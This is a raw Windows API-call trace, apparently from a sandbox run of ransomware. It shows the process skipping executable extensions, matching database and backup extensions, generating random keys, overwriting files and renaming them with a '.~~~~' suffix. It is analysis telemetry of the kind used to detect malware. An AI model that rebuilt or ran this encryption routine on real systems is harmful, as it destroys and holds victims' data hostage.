	[0084.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28092f0 | out: hHeap=0x300000) returned 1
	[0084.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9fa0 | out: hHeap=0x300000) returned 1
	[0084.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28092f0
	[0084.656] lstrlenW (lpString=".scr") returned 4
	[0084.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0084.656] lstrlenW (lpString=".cmd") returned 4
	[0084.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0084.656] lstrlenW (lpString=".dll") returned 4
	[0084.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0084.656] lstrlenW (lpString=".bat") returned 4
	[0084.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0084.656] lstrlenW (lpString=".cpl") returned 4
	[0084.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0084.657] lstrlenW (lpString=".sys") returned 4
	[0084.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0084.657] lstrlenW (lpString=".msc") returned 4
	[0084.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0084.657] lstrlenW (lpString=".com") returned 4
	[0084.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0084.657] lstrlenW (lpString=".lnk") returned 4
	[0084.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0084.657] lstrlenW (lpString=".msp") returned 4
	[0084.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0084.657] lstrlenW (lpString=".pif") returned 4
	[0084.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0084.657] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0084.658] lstrlenW (lpString=".sqb") returned 4
	[0084.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0084.658] lstrlenW (lpString=".ost") returned 4
	[0084.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0084.658] lstrlenW (lpString=".txt") returned 4
	[0084.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0084.658] lstrlenW (lpString=".mdt") returned 4
	[0084.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0084.658] lstrlenW (lpString=".BDB") returned 4
	[0084.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0084.658] lstrlenW (lpString=".eql") returned 4
	[0084.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0084.658] lstrlenW (lpString=".DBF") returned 4
	[0084.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0084.658] lstrlenW (lpString=".EQL") returned 4
	[0084.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0084.658] lstrlenW (lpString=".FDB") returned 4
	[0084.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0084.658] lstrlenW (lpString=".EDB") returned 4
	[0084.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0084.658] lstrlenW (lpString=".DACPAC") returned 7
	[0084.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0084.659] lstrlenW (lpString=".VHD") returned 4
	[0084.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0084.659] lstrlenW (lpString=".DBV") returned 4
	[0084.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0084.659] lstrlenW (lpString=".dacpac") returned 7
	[0084.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0084.659] lstrlenW (lpString=".sdf") returned 4
	[0084.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0084.659] lstrlenW (lpString=".accdb") returned 6
	[0084.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0084.659] lstrlenW (lpString=".DBX") returned 4
	[0084.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0084.659] lstrlenW (lpString=".MDT") returned 4
	[0084.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0084.659] lstrlenW (lpString=".SQB") returned 4
	[0084.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0084.659] lstrlenW (lpString=".vhd") returned 4
	[0084.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0084.660] lstrlenW (lpString=".bac") returned 4
	[0084.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0084.660] lstrlenW (lpString=".mdf") returned 4
	[0084.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0084.660] lstrlenW (lpString=".BAK") returned 4
	[0084.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0084.660] lstrlenW (lpString=".BAC") returned 4
	[0084.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0084.660] lstrlenW (lpString=".dbs") returned 4
	[0084.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0084.660] lstrlenW (lpString=".vhdx") returned 5
	[0084.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0084.660] lstrlenW (lpString=".NDF") returned 4
	[0084.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0084.660] lstrlenW (lpString=".dat") returned 4
	[0084.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0084.660] lstrlenW (lpString=".DBS") returned 4
	[0084.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0084.660] lstrlenW (lpString=".CKP") returned 4
	[0084.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0084.660] lstrlenW (lpString=".edb") returned 4
	[0084.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0084.660] lstrlenW (lpString=".PST") returned 4
	[0084.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0084.660] lstrlenW (lpString=".dbf") returned 4
	[0084.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0084.660] lstrlenW (lpString=".SQL") returned 4
	[0084.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0084.661] lstrlenW (lpString=".pst") returned 4
	[0084.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0084.661] lstrlenW (lpString=".dbv") returned 4
	[0084.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0084.661] lstrlenW (lpString=".SDF") returned 4
	[0084.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0084.661] lstrlenW (lpString=".dtxs") returned 5
	[0084.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0084.661] lstrlenW (lpString=".db3") returned 4
	[0084.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0084.661] lstrlenW (lpString=".OST") returned 4
	[0084.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0084.661] lstrlenW (lpString=".dbx") returned 4
	[0084.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0084.661] lstrlenW (lpString=".DB3") returned 4
	[0084.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0084.661] lstrlenW (lpString=".DAT") returned 4
	[0084.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0084.661] lstrlenW (lpString=".VHDX") returned 5
	[0084.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0084.661] lstrlenW (lpString=".ndf") returned 4
	[0084.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0084.661] lstrlenW (lpString=".DB") returned 3
	[0084.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0084.661] lstrlenW (lpString=".sql") returned 4
	[0084.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0084.662] lstrlenW (lpString=".MYD") returned 4
	[0084.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0084.662] lstrlenW (lpString=".DBT") returned 4
	[0084.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0084.662] lstrlenW (lpString=".ACCDB") returned 6
	[0084.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0084.662] lstrlenW (lpString=".fdb") returned 4
	[0084.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0084.662] lstrlenW (lpString=".bak") returned 4
	[0084.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0084.662] lstrlenW (lpString=".myd") returned 4
	[0084.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0084.662] lstrlenW (lpString=".DTXS") returned 5
	[0084.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0084.662] lstrlenW (lpString=".ckp") returned 4
	[0084.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0084.662] lstrlenW (lpString=".dbt") returned 4
	[0084.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0084.662] lstrlenW (lpString=".db") returned 3
	[0084.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0084.662] lstrlenW (lpString=".TXT") returned 4
	[0084.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0084.662] lstrlenW (lpString=".MDF") returned 4
	[0084.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0084.662] lstrlenW (lpString=".bdb") returned 4
	[0084.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0084.662] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.663] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0084.664] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.664] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0084.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2871ff0
	[0084.664] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20465406029) returned 1
	[0084.664] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9c4ba050, dwHighDateTime=0x1d60e1e)) 
	[0084.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0084.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0084.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0084.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9fa0
	[0084.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9fa0 | out: hHeap=0x300000) returned 1
	[0084.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2809248
	[0084.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809248 | out: hHeap=0x300000) returned 1
	[0084.665] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0084.665] GetLastError () returned 0x0
	[0084.665] GetLastError () returned 0x0
	[0084.665] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0084.665] GetLastError () returned 0x0
	[0084.665] GetLastError () returned 0x0
	[0084.719] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffb30, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.719] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x4d0, lpOverlapped=0x0) returned 1
	[0084.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0084.720] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.720] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.720] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.720] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.720] CloseHandle (hObject=0x11c) returned 1
	[0084.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0084.720] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.~~~~")) returned 1
	[0084.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4328 | out: hHeap=0x300000) returned 1
	[0084.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0084.721] GetLastError () returned 0x0
	[0084.721] RtlWakeConditionVariable () returned 0x365f70
	[0084.721] GetCurrentThreadId () returned 0xaf0
	[0084.721] GetCurrentThreadId () returned 0xaf0
	[0084.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808330
	[0084.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6a78 | out: hHeap=0x300000) returned 1
	[0084.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa080 | out: hHeap=0x300000) returned 1
	[0084.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6a78
	[0084.722] lstrlenW (lpString=".scr") returned 4
	[0084.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0084.722] lstrlenW (lpString=".cmd") returned 4
	[0084.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0084.722] lstrlenW (lpString=".dll") returned 4
	[0084.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0084.722] lstrlenW (lpString=".bat") returned 4
	[0084.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0084.722] lstrlenW (lpString=".cpl") returned 4
	[0084.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0084.722] lstrlenW (lpString=".sys") returned 4
	[0084.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0084.722] lstrlenW (lpString=".msc") returned 4
	[0084.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0084.722] lstrlenW (lpString=".com") returned 4
	[0084.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0084.722] lstrlenW (lpString=".lnk") returned 4
	[0084.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0084.722] lstrlenW (lpString=".msp") returned 4
	[0084.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0084.722] lstrlenW (lpString=".pif") returned 4
	[0084.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0084.722] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0084.768] lstrlenW (lpString=".sqb") returned 4
	[0084.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0084.768] lstrlenW (lpString=".ost") returned 4
	[0084.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
